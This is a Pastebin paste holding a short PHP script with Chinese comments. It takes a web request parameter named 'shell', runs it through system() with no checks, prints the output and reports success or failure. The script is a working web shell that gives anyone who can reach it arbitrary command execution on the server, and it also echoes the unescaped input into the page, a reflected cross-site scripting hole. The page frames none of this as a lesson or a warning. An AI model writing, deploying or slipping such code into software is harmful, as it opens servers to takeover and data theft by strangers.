Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- echo "Hello";
- #獲取網頁傳遞引數
- $shell = $_REQUEST['shell'];
- echo "<pre>";
- system($shell, $status);
- echo "</pre>";
- //注意shell命令的執行結果和執行返回的狀態值的對應關係
- $shell = "<font color='red'>$shell</font>";
- if( $status ){
- echo "shell命令{$shell}執行失敗";
- } else {
- echo "shell命令{$shell}成功執行";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement